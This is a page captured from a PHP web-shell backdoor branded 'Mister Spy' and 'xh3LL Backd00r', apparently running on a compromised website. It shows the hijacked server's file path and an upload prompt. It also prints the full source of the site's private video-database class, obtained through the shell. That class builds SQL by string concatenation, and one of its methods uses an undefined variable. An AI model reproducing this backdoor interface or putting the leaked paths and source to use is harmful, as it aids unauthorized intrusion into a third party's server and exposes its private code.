Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.eventovideos.php

<?php 

require_once('class.dbaccess.php');
require_once('class.eventovideo.php');
require_once('class.page.php');

class EventoVideos extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = ' WHERE 1';
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
			$sql.= " AND v.Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		if ((isset($filter['IdEvento'])) && ($filter['IdEvento'] != ''))
			$sql.= " AND v.IdEvento = " . DB::Number($filter['IdEvento']);
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT v.*";
		$sql.= " FROM tblEventoVideos v";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{
			$oEventoVideo = new EventoVideo();
			$oEventoVideo->ParseFromArray($oRow);

			array_push($arr, $oEventoVideo);

			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetById($IdEventoVideo)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventoVideos v";
		$sql.= " WHERE IdEventoVideo = " . DB::Number($IdEventoVideo);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oEventoVideo = new EventoVideo();
		$oEventoVideo->ParseFromArray($oRow);
		
		return $oEventoVideo;		
	}
	

	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventoVideos v";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY Nombre ASC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function GetAllByEvento(Evento $oEvento)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventoVideos v";
		$sql.= " WHERE IdEvento = " . DB::Number($oEvento->IdEvento);
		$sql.= " ORDER BY Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{
			$oEventoVideo = new EventoVideo();
			$oEventoVideo->ParseFromArray($oRow);

			array_push($arr, $oEventoVideo);

			$oRes->MoveNext();
		}

		return $arr;
	}
	
	
	public function Create(EventoVideo $oEventoVideo)
	{
		$arr = array
		(
			'IdEvento'	=> DB::Number($oEventoVideo->IdEvento),
			'Nombre' 	=> DB::String($oEventoVideo->Nombre),
			'Video'		=> DB::String($oEventoVideo->Video)
		);
		
		if (!$this->Insert('tblEventoVideos', $arr))
			return false;
			
		return $oEventoVideo;
	}
	
	
	public function Update(EventoVideo $oEventoVideo)
	{
		$where = " IdEventoVideo = " . DB::Number($oEventoVideo->IdEventoVideo);
		
		$arr = array
		(
			'IdEvento'	=> DB::Number($oEventoVideo->IdEvento),
			'Nombre' 	=> DB::String($oEventoVideo->Nombre),
			'Video'		=> DB::String($oEventoVideo->Video)
		);
		
		if (!DBAccess::UpdateEntidad('tblEventoVideos', $arr, $where))
			return false;
		
		return $oEventoVideo;
	}
	

	public function Delete($IdEventoVideo)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdEventoVideo = " . DB::Number($IdEventoVideo);
		if (!DBAccess::DeleteEntidad('tblEventoVideos', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat